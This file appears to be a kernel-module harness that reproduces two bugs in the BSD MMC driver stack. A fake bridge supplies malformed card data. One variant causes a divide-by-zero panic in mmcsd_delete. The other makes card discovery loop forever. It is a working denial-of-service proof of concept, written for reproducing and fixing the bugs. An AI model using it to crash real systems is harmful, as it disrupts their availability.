#define DFH_MUTATING_CID 1 /* * DF-5768 / DF-5769 harness — drives the *production* MMC bus code * (sys/bus/mmc/mmc.c, compiled into this module verbatim) and the * *production, kernel-builtin* mmcsd(4) disk driver through a fake * mmcbr bridge that answers with synthetic card data (CID / CSD / * EXT_CSD / R1 status). No SD hardware required. * * Variants (compile-time): * default DF-5768: one "malicious" static MMC card whose CSD * advertises WRITE_BL_LEN = 1 byte (field bits = 0), * making production mmc.c:1595-1596 derive * ivar->erase_sector = (1 * 1) / 512 = 0. After the * production discovery+attach chain creates /dev/mmcsd0, * the module issues a BUF_CMD_FREEBLKS bio to the raw * disk exactly as devfs_spec_freeblks() * (sys/vfs/devfs/devfs_vnops.c:2028) does for VOP_FREEBLKS * (UFS softdep TRIM path). Expected on a vulnerable * kernel: mmcsd_delete() (sys/dev/disk/mmcsd/mmcsd.c:407-411) * executes `start % erase_sector` with erase_sector == 0 * -> kernel panic "integer divide fault". * * -DFH_MUTATING_CID DF-5769: every CMD2 (ALL_SEND_CID) is answered with * success and a fresh CID. mmc_discover_cards()'s * while (1) loop exits only on a CMD2 error/timeout * (mmc.c:1415-1422), so discovery never terminates and * allocates one mmc_ivars + one bus child per iteration * forever (kldload never returns; the kernel itself * prints "**WARNING** waiting for the following device * to finish configuring: mmc" every 10 s). */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * Pull in the production mmc bus driver *source*. Neuter the pieces that * would re-register against the builtin kernel copies (the "mmc" devclass * itself is shared with the kernel on purpose: the builtin production * mmcsd driver attaches to our bus via that devclass). After the include, * every static mmc_* function of sys/bus/mmc/mmc.c is directly reachable. */ #undef SYSCTL_NODE #undef SYSCTL_INT #undef DRIVER_MODULE #define SYSCTL_NODE(a, b, c, d, e, f) /* drop: hw.mmc exists */ #define SYSCTL_INT(a, b, c, d, e, f, g) /* drop: hw.mmc.debug exists */ #define DRIVER_MODULE(name, busname, driver, devclass, evh, arg) /* drop */ #define mmc_devclass dfh_mmc_devclass #include #undef DRIVER_MODULE #undef mmc_devclass #undef SYSCTL_INT #undef SYSCTL_NODE /* Restore the header originals verbatim (sys/bus.h, sys/sys/sysctl.h). */ #define DRIVER_MODULE(name, busname, driver, devclass, evh, arg) \ DRIVER_MODULE_ORDERED(name, busname, driver, &devclass, evh, arg,\ SI_ORDER_MIDDLE) #define SYSCTL_NODE(parent, nbr, name, access, handler, descr) \ struct sysctl_oid_list SYSCTL_NODE_CHILDREN(parent, name); \ SYSCTL_OID(parent, nbr, name, CTLTYPE_NODE|(access), \ (void*)&SYSCTL_NODE_CHILDREN(parent, name), 0, handler, "N", descr) #define SYSCTL_INT(parent, nbr, name, access, ptr, val, descr) \ SYSCTL_OID(parent, nbr, name, \ CTLTYPE_INT|CTLFLAG_NOLOCK|(access), \ ptr, val, sysctl_handle_int, "I", descr) /* Register the production driver (this exact code object) on our bridge. */ DRIVER_MODULE(dfhmmc, dfhbr, mmc_driver, dfh_mmc_devclass, NULL, NULL); #include "mmcbr_if.h" #include "mmcbus_if.h" #include "bus_if.h" #include "device_if.h" /* ------------------------------------------------------------------ */ /* Synthetic card data */ /* ------------------------------------------------------------------ */ /* * mmc_get_bits() semantics: field bits [start+size-1 : start], bit 127 is * the MSB of word 0. Inverse setter: */ static void dfh_set_bits(uint32_t *bits, int bit_len, int start, int size, uint32_t val) { int j, b, w, pos; int nwords = bit_len / 32; for (j = 0; j < size; j++) { b = start + j; w = nwords - (b / 32) - 1; pos = b & 31; if (val & (1u << j)) bits[w] |= 1u << pos; else bits[w] &= ~(1u << pos); } } static uint32_t dfh_cid[4]; static uint32_t dfh_csd[4]; static uint8_t dfh_ext_csd[MMC_EXTCSD_SIZE]; static uint32_t dfh_cid_counter; static int dfh_card_state; /* 0 = idle/ident-capable, 1 = enumerated */ #define R1_TRAN ((uint32_t)R1_STATE_TRAN << 9) /* status: current state = trans */ static void dfh_build_card(void) { memset(dfh_cid, 0, sizeof(dfh_cid)); memset(dfh_csd, 0, sizeof(dfh_csd)); memset(dfh_ext_csd, 0, sizeof(dfh_ext_csd)); /* CID (MMC layout) */ dfh_set_bits(dfh_cid, 128, 120, 8, 0x13); /* manufacturer */ dfh_set_bits(dfh_cid, 128, 104, 8, 'D'); /* oid */ dfh_set_bits(dfh_cid, 128, 96, 8, 'F'); /* pnm */ dfh_set_bits(dfh_cid, 128, 88, 8, '5'); dfh_set_bits(dfh_cid, 128, 80, 8, '7'); dfh_set_bits(dfh_cid, 128, 72, 8, '6'); dfh_set_bits(dfh_cid, 128, 64, 8, '8'); dfh_set_bits(dfh_cid, 128, 56, 8, 0); /* pnm[5] = 0 */ dfh_set_bits(dfh_cid, 128, 48, 8, 0x10); /* prv */ dfh_set_bits(dfh_cid, 128, 16, 32, 0x00576800); /* psn */ dfh_set_bits(dfh_cid, 128, 12, 4, 1); /* mdt month */ dfh_set_bits(dfh_cid, 128, 8, 4, 10); /* mdt year */ /* * CSD (MMC layout) — mostly spec-conformant, except: * WRITE_BL_LEN field = 0 -> write_bl_len = 1 byte (out of spec, * but fully parseable), which drives production * mmc.c:1595-1596: ivar->erase_sector = 1 * 1 / 512 = 0. */ dfh_set_bits(dfh_csd, 128, 126, 2, 3); /* csd_structure */ dfh_set_bits(dfh_csd, 128, 122, 4, 5); /* spec_vers (>= 4: EXT_CSD) */ dfh_set_bits(dfh_csd, 128, 115, 4, 1); /* tacc mantissa */ dfh_set_bits(dfh_csd, 128, 112, 3, 1); /* tacc exponent */ dfh_set_bits(dfh_csd, 128, 104, 8, 0); /* nsac */ dfh_set_bits(dfh_csd, 128, 99, 4, 2); /* tran_speed mant */ dfh_set_bits(dfh_csd, 128, 96, 3, 3); /* tran_speed exp */ dfh_set_bits(dfh_csd, 128, 84, 12, 0x5); /* ccc */ dfh_set_bits(dfh_csd, 128, 80, 4, 9); /* read_bl_len = 512 */ dfh_set_bits(dfh_csd, 128, 62, 12, 0); /* c_size */ dfh_set_bits(dfh_csd, 128, 47, 3, 0); /* c_size_mult */ dfh_set_bits(dfh_csd, 128, 59, 3, 0); /* vdd_r_curr_min */ dfh_set_bits(dfh_csd, 128, 56, 3, 0); /* vdd_r_curr_max */ dfh_set_bits(dfh_csd, 128, 53, 3, 0); /* vdd_w_curr_min */ dfh_set_bits(dfh_csd, 128, 50, 3, 0); /* vdd_w_curr_max */ dfh_set_bits(dfh_csd, 128, 42, 5, 0); /* hc_erase_grp_size */ dfh_set_bits(dfh_csd, 128, 37, 5, 0); /* erase_grp_size */ dfh_set_bits(dfh_csd, 128, 26, 3, 0); /* r2w_factor */ dfh_set_bits(dfh_csd, 128, 22, 4, 0); /* write_bl_len bits = 0 -> 1 byte */ dfh_set_bits(dfh_csd, 128, 21, 1, 0); /* write_bl_partial */ /* EXT_CSD */ dfh_ext_csd[EXT_CSD_REV] = 5; /* >= 5: is_4_41p CID year */ dfh_ext_csd[EXT_CSD_CARD_TYPE] = 0; /* no HS/DDR: normal timing only */ dfh_ext_csd[EXT_CSD_SEC_CNT + 0] = 0x00; /* sec_count = 4096 (2 MB) */ dfh_ext_csd[EXT_CSD_SEC_CNT + 1] = 0x10; dfh_ext_csd[EXT_CSD_SEC_CNT + 2] = 0x00; dfh_ext_csd[EXT_CSD_SEC_CNT + 3] = 0x00; dfh_ext_csd[EXT_CSD_ERASE_GRP_SIZE] = 0; /* keep CSD-derived value (0!) */ dfh_ext_csd[EXT_CSD_GEN_CMD6_TIME] = 25; /* 250 ms (unused at spec_vers 5) */ } /* ------------------------------------------------------------------ */ /* Fake mmcbr bridge driver */ /* ------------------------------------------------------------------ */ struct dfhbr_softc { /* MMCBR_IVAR_* storage */ int bus_mode, bus_width, chip_select, clock, f_min, f_max; int host_ocr, mode, ocr, power_mode, vdd, vccq, caps, timing; int max_data; u_int max_busy_timeout; }; static device_method_t dfhbr_methods[]; static int dfhbr_probe(device_t dev) { kprintf("DFH: dfhbr_probe(%s) invoked\n", device_get_nameunit(dev)); device_set_desc(dev, "DF harness fake mmc bridge"); return (0); } static int dfhbr_attach(device_t dev) { struct dfhbr_softc *sc = device_get_softc(dev); device_t child; int error; /* Bridge capabilities: deliberately minimal (1-bit, normal speed). */ sc->f_max = 26000000; sc->f_min = 400000; sc->host_ocr = 0x00ff8000; /* 2.7 .. 3.6 V */ sc->caps = 0; /* no 4/8-bit, no HS */ sc->max_data = 128; sc->max_busy_timeout = 1000000; sc->clock = 0; dfh_build_card(); dfh_card_state = 0; dfh_cid_counter = 0; kprintf("DFH: dfhbr_attach\n"); child = device_add_child(dev, "mmc", -1); if (child == NULL) { kprintf("DFH: add mmc child failed\n"); return (ENXIO); } kprintf("DFH: probing mmc child\n"); error = device_probe_and_attach(child); kprintf("DFH: mmc child probe_and_attach -> %d\n", error); return (error); } static int dfhbr_detach(device_t dev) { device_delete_children(dev); return (0); } static int dfhbr_read_ivar(device_t brdev, device_t child, int which, uintptr_t *result) { struct dfhbr_softc *sc = device_get_softc(brdev); switch (which) { case MMCBR_IVAR_BUS_MODE: *result = sc->bus_mode; break; case MMCBR_IVAR_BUS_WIDTH: *result = sc->bus_width; break; case MMCBR_IVAR_CHIP_SELECT: *result = sc->chip_select; break; case MMCBR_IVAR_CLOCK: *result = sc->clock; break; case MMCBR_IVAR_F_MIN: *result = sc->f_min; break; case MMCBR_IVAR_F_MAX: *result = sc->f_max; break; case MMCBR_IVAR_HOST_OCR: *result = sc->host_ocr; break; case MMCBR_IVAR_MODE: *result = sc->mode; break; case MMCBR_IVAR_OCR: *result = sc->ocr; break; case MMCBR_IVAR_POWER_MODE: *result = sc->power_mode; break; case MMCBR_IVAR_VDD: *result = sc->vdd; break; case MMCBR_IVAR_VCCQ: *result = sc->vccq; break; case MMCBR_IVAR_CAPS: *result = sc->caps; break; case MMCBR_IVAR_TIMING: *result = sc->timing; break; case MMCBR_IVAR_MAX_DATA: *result = sc->max_data; break; case MMCBR_IVAR_MAX_BUSY_TIMEOUT: *result = sc->max_busy_timeout; break; default: return (EINVAL); } return (0); } static int dfhbr_write_ivar(device_t brdev, device_t child, int which, uintptr_t value) { struct dfhbr_softc *sc = device_get_softc(brdev); switch (which) { case MMCBR_IVAR_BUS_MODE: sc->bus_mode = value; break; case MMCBR_IVAR_BUS_WIDTH: sc->bus_width = value; break; case MMCBR_IVAR_CHIP_SELECT: sc->chip_select = value; break; case MMCBR_IVAR_CLOCK: sc->clock = value; break; case MMCBR_IVAR_HOST_OCR: sc->host_ocr = value; break; case MMCBR_IVAR_MODE: sc->mode = value; break; case MMCBR_IVAR_OCR: sc->ocr = value; break; case MMCBR_IVAR_POWER_MODE: sc->power_mode = value; break; case MMCBR_IVAR_VDD: sc->vdd = value; break; case MMCBR_IVAR_VCCQ: sc->vccq = value; break; case MMCBR_IVAR_TIMING: sc->timing = value; break; case MMCBR_IVAR_MAX_DATA: sc->max_data = value; break; default: return (EINVAL); } return (0); } static int dfhbr_update_ios(device_t brdev, device_t reqdev) { return (0); } static int dfhbr_switch_vccq(device_t brdev, device_t reqdev) { return (0); } static int dfhbr_get_ro(device_t brdev, device_t reqdev) { return (0); } static int dfhbr_acquire_host(device_t brdev, device_t reqdev) { return (0); } static int dfhbr_release_host(device_t brdev, device_t reqdev) { return (0); } static void dfh_complete(struct mmc_request *req, int err, uint32_t *r136, uint32_t r1) { int i; req->cmd->error = err; if (r136 != NULL) for (i = 0; i < 4; i++) req->cmd->resp[i] = r136[i]; else req->cmd->resp[0] = r1; if (req->stop != NULL) { req->stop->error = MMC_ERR_NONE; req->stop->resp[0] = R1_TRAN; } req->done(req); } /* * The scripted card. Command numbers per JEDEC MMC / SD specs as used by * production mmc.c. Termination of mmc_discover_cards() depends on CMD2 * eventually failing; a real card stops answering CMD2 once it has an RCA. */ static int dfhbr_request(device_t brdev, device_t reqdev, struct mmc_request *req) { struct mmc_command *cmd = req->cmd; switch (cmd->opcode) { case MMC_GO_IDLE_STATE: /* 0 */ dfh_card_state = 0; dfh_complete(req, MMC_ERR_NONE, NULL, 0); break; case MMC_SEND_OP_COND: /* 1: MMC probe — ready & busy */ dfh_complete(req, MMC_ERR_NONE, NULL, 0xC0FF8000u); break; case MMC_ALL_SEND_CID: /* 2 */ #ifdef DFH_MUTATING_CID /* Malicious card: always a "new" card on the bus. */ dfh_cid_counter++; dfh_set_bits(dfh_cid, 128, 16, 32, dfh_cid_counter); dfh_set_bits(dfh_cid, 128, 120, 8, dfh_cid_counter & 0xff); dfh_complete(req, MMC_ERR_NONE, dfh_cid, 0); #else if (dfh_card_state == 0) { dfh_card_state = 1; /* card leaves identification */ dfh_complete(req, MMC_ERR_NONE, dfh_cid, 0); } else { /* Like a real card in standby: no response. */ dfh_complete(req, MMC_ERR_TIMEOUT, NULL, 0); } #endif break; case MMC_SET_RELATIVE_ADDR: /* 3 (== SD_SEND_RELATIVE_ADDR) */ dfh_card_state = 1; dfh_complete(req, MMC_ERR_NONE, NULL, (cmd->arg >> 16) << 16 | R1_TRAN); break; case MMC_SELECT_CARD: /* 7 */ dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN); break; case MMC_SEND_CSD: /* 9 */ dfh_complete(req, MMC_ERR_NONE, dfh_csd, 0); break; case MMC_SEND_STATUS: /* 13 */ dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN); break; case MMC_GO_INACTIVE_STATE: /* 15 */ dfh_complete(req, MMC_ERR_NONE, NULL, 0); break; case MMC_READ_SINGLE_BLOCK: /* 17 */ case MMC_READ_MULTIPLE_BLOCK: case MMC_WRITE_BLOCK: /* 24 */ case MMC_WRITE_MULTIPLE_BLOCK: dfh_complete(req, MMC_ERR_TIMEOUT, NULL, R1_TRAN); break; case MMC_ERASE_GROUP_START: /* 35 */ case MMC_ERASE_GROUP_END: /* 36 */ case MMC_ERASE: /* 38 */ dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN); break; default: if (cmd->opcode == MMC_SEND_EXT_CSD /* 8 */ || cmd->opcode == SD_SEND_IF_COND /* 8 */) { if (cmd->data != NULL) { /* MMC_SEND_EXT_CSD: 512-byte read */ if (cmd->data->len > MMC_EXTCSD_SIZE) cmd->data->len = MMC_EXTCSD_SIZE; memcpy(cmd->data->data, dfh_ext_csd, cmd->data->len); dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN); } else { /* SD_SEND_IF_COND: not an SD 2.0 card */ dfh_complete(req, MMC_ERR_TIMEOUT, NULL, 0); } break; } if (cmd->opcode == MMC_SWITCH_FUNC /* 6 */ || cmd->opcode == SD_SWITCH_FUNC /* 6 */) { if (cmd->data != NULL && cmd->data->len > 0 && (cmd->data->flags & MMC_DATA_READ)) { memset(cmd->data->data, 0, cmd->data->len); } dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN); break; } if (cmd->opcode == MMC_APP_CMD /* 55 */) { /* No SD app commands: forces the MMC probe path. */ dfh_complete(req, MMC_ERR_TIMEOUT, NULL, 0); break; } /* Anything else (16, 19, 14, ...): succeed generically. */ dfh_complete(req, MMC_ERR_NONE, NULL, R1_TRAN); break; } return (0); } static driver_t dfhbr_driver = { "dfhbr", dfhbr_methods, sizeof(struct dfhbr_softc), }; static devclass_t dfhbr_devclass; static device_method_t dfhbr_methods[] = { /* device_if */ DEVMETHOD(device_probe, dfhbr_probe), DEVMETHOD(device_attach, dfhbr_attach), DEVMETHOD(device_detach, dfhbr_detach), /* bus_if */ DEVMETHOD(bus_read_ivar, dfhbr_read_ivar), DEVMETHOD(bus_write_ivar, dfhbr_write_ivar), /* mmcbr_if */ DEVMETHOD(mmcbr_update_ios, dfhbr_update_ios), DEVMETHOD(mmcbr_switch_vccq, dfhbr_switch_vccq), DEVMETHOD(mmcbr_request, dfhbr_request), DEVMETHOD(mmcbr_get_ro, dfhbr_get_ro), DEVMETHOD(mmcbr_acquire_host, dfhbr_acquire_host), DEVMETHOD(mmcbr_release_host, dfhbr_release_host), DEVMETHOD_END }; DRIVER_MODULE(dfhbr, root, dfhbr_driver, dfhbr_devclass, NULL, NULL); /* ------------------------------------------------------------------ */ /* DF-5768 trigger: production TRIM (BUF_CMD_FREEBLKS) to /dev/mmcsd0 */ /* ------------------------------------------------------------------ */ #ifndef DFH_MUTATING_CID static void dfh_trigger_freeblks(void) { devclass_t dc; device_t *mlist, *clist, mmc0, card; cdev_t disk; struct mmc_ivars *ivar; struct buf *bp; int i, mn, cn, count; dc = devclass_find("mmc"); if (dc == NULL || devclass_get_devices(dc, &mlist, &mn) != 0 || mn == 0) { kprintf("DF-5768: no mmc bus device found\n"); return; } mmc0 = mlist[0]; kfree(mlist, M_TEMP); if (device_get_children(mmc0, &clist, &cn) != 0 || cn == 0) { kprintf("DF-5768: no card child under mmc0\n"); return; } card = clist[0]; kfree(clist, M_TEMP); ivar = device_get_ivars(card); kprintf("DF-5768: production enumeration finished:\n"); kprintf("DF-5768: rca=0x%04x mode=%d spec_vers=%d read_bl_len=%u\n", ivar->rca, ivar->mode, ivar->csd.spec_vers, ivar->csd.read_bl_len); kprintf("DF-5768: csd.erase_sector=%u csd.write_bl_len=%u -> ivar->erase_sector=%u (mmc.c:1595-1596)\n", ivar->csd.erase_sector, ivar->csd.write_bl_len, ivar->erase_sector); kprintf("DF-5768: sec_count=%u cmd6_time=%u us\n", ivar->sec_count, ivar->cmd6_time); disk = devfs_find_device_by_name("mmcsd0"); if (disk == NULL) { kprintf("DF-5768: /dev/mmcsd0 not present\n"); return; } kprintf("DF-5768: issuing BUF_CMD_FREEBLKS to mmcsd0 " "(exactly devfs_spec_freeblks, devfs_vnops.c:2031-2045)...\n"); /* * Mirror of sys/vfs/devfs/devfs_vnops.c:devfs_spec_freeblks(). */ bp = getpbuf(NULL); bp->b_cmd = BUF_CMD_FREEBLKS; bp->b_bio1.bio_flags |= BIO_SYNC; bp->b_bio1.bio_offset = 0; bp->b_bio1.bio_done = biodone_sync; bp->b_bcount = 512; dev_dstrategy(disk, &bp->b_bio1); biowait(&bp->b_bio1, "TRIM"); relpbuf(bp, NULL); kprintf("DF-5768: biowait returned — divide-by-zero did NOT occur\n"); count = 0; for (i = 0; i < 4096; i++) count += i; kprintf("DF-5768: NOT reproduced (exit)\n"); } #endif /* ------------------------------------------------------------------ */ /* Module glue */ /* ------------------------------------------------------------------ */ static device_t dfhbr0; static struct thread *dfh_td; static void dfh_boot(void *arg) { int error; /* * Module init handlers inside one kldload are not sorted by * SI_ORDER; our module may run before the DRIVER_MODULE * registrations. Sleep until the kldload syscall (and thus all * module handlers in this file) has completed, then build the * dfhbr0 -> mmc0 -> (card) -> mmcsd0 chain. */ tsleep(&dfh_td, 0, "dfhgo", 2 * hz); kprintf("DFH: boot thread: creating dfhbr0\n"); dfhbr0 = device_add_child(root_bus, "dfhbr", 0); if (dfhbr0 == NULL) { kprintf("DFH: device_add_child failed\n"); kthread_exit(); } error = device_probe_and_attach(dfhbr0); kprintf("DFH: probe_and_attach(dfhbr0) -> %d\n", error); if (error) kthread_exit(); #ifndef DFH_MUTATING_CID /* * On the vulnerable kernel this panics (integer divide fault in * production mmcsd_delete()) as soon as the FREEBLKS bio is run. */ dfh_trigger_freeblks(); tsleep(&dfh_td, 0, "dfhdone", hz); #else kprintf("DF-5769: mutating-CID card active; mmc_discover_cards() " "is now looping forever in this thread\n"); /* NOTREACHED on vulnerable kernels */ #endif kthread_exit(); } static int dfh_modevent(module_t mod, int type, void *arg) { int error = 0; switch (type) { case MOD_LOAD: #ifdef DFH_MUTATING_CID kprintf("DFH: MOD_LOAD (variant: DF-5769 mutating-CID)\n"); #else kprintf("DFH: MOD_LOAD (variant: DF-5768 static-CID erase=0)\n"); #endif error = kthread_create(dfh_boot, NULL, &dfh_td, "dfh_boot"); break; case MOD_UNLOAD: if (dfhbr0 != NULL) error = device_delete_child(root_bus, dfhbr0); break; default: break; } return (error); } static moduledata_t dfh_moddata = { #ifdef DFH_MUTATING_CID "df5769", #else "df5768", #endif dfh_modevent, NULL }; #ifdef DFH_MUTATING_CID DECLARE_MODULE(df5769, dfh_moddata, SI_SUB_DRIVERS, SI_ORDER_THIRD); #else DECLARE_MODULE(df5768, dfh_moddata, SI_SUB_DRIVERS, SI_ORDER_THIRD); #endif